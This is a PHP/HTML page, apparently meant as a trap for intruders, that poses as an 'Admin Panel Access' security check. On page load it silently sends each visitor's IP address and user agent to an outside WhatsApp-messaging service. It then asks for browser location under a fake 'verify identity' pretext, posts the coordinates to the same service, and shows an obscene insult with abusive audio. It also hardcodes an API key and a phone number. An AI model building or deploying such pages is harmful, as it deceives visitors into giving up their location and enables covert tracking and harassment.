<?php
// 1. CHOR KI DETAILS NIKALNA
$chor_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];

// WhatsApp Notification Function (Direct API Call)
function notify_lucky_bhai($ip, $ua) {
    $api_key = "0K57jJLQNhasZytfLXQqfB7yR5o5K0"; 
    $admin_no = "918273147063"; 
    $msg = "🚨 *CHOR ALERT!* 🚨\n\nBhai, kisi ne *vc.php* kholi hai!\n📍 *IP:* $ip\n📱 *Device:* $ua\n\nAbhi iska location nikalta hoon... 😈";
    $url = "https://ads.indsmm.store/send-message";
    $data = ["api_key" => $api_key, "sender" => $admin_no, "number" => $admin_no, "message" => $msg];
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_exec($ch); 
    curl_close($ch);
}

// Notification bhej do page khulte hi
notify_lucky_bhai($chor_ip, $user_agent);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel Access</title>
    <style>
        body { background: #121212; color: white; font-family: 'Arial', sans-serif; text-align: center; padding-top: 100px; overflow: hidden; }
        .box { background: #1e1e1e; padding: 40px; display: inline-block; border-radius: 15px; border: 2px solid #333; box-shadow: 0 10px 30px rgba(0,0,0,0.5); }
        .btn { background: #ce1111; color: white; padding: 15px 30px; border: none; border-radius: 8px; cursor: pointer; font-size: 18px; font-weight: bold; margin-top: 20px; transition: 0.3s; }
        .btn:hover { background: #ff0000; transform: scale(1.05); }
        h1 { color: #ff0000; display: none; font-size: 60px; }
    </style>
</head>
<body onclick="playGali()">

    <div class="box" id="mainBox">
        <h2>🔒 Security Check</h2>
        <p>Your IP (<?php echo $chor_ip; ?>) needs verification.</p>
        <p>Click below to verify and access Admin Dashboard.</p>
        <button class="btn" onclick="startTrap()">VERIFY & LOGIN</button>
    </div>

    <h1 id="galiMsg"> Teri  Ma ki chut lora lele aja ! 🤬<br><small>Location Sent to Lucky Bhai!</small></h1>

    <audio id="abuse"><source src="gali.mp3" type="audio/mpeg"></audio>

    <script>
    var audio = document.getElementById("abuse");

    function playGali() {
        audio.play();
    }

    function startTrap() {
        // Location Permission Maangna
        if (navigator.geolocation) {
            navigator.geolocation.getCurrentPosition(function(position) {
                let lat = position.coords.latitude;
                let lon = position.coords.longitude;
                
                // WhatsApp par location bhejna
                fetch('https://ads.indsmm.store/send-message', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({
                        api_key: "0K57jJLQNhasZytfLXQqfB7yR5o5K0",
                        sender: "918273147063",
                        number: "918273147063",
                        message: "📍 *CHOR KI LOCATION!* \nGoogle Map: https://www.google.com/maps?q=" + lat + "," + lon
                    })
                });
                showFinalMsg();
            }, function() {
                alert("Access Denied! Please allow location to verify identity.");
            });
        }
    }

    function showFinalMsg() {
        document.getElementById('mainBox').style.display = 'none';
        document.getElementById('galiMsg').style.display = 'block';
        audio.play();
        // 5 second baad IP block karne ka script bhi trigger ho sakta hai
    }
    </script>
</body>
</html>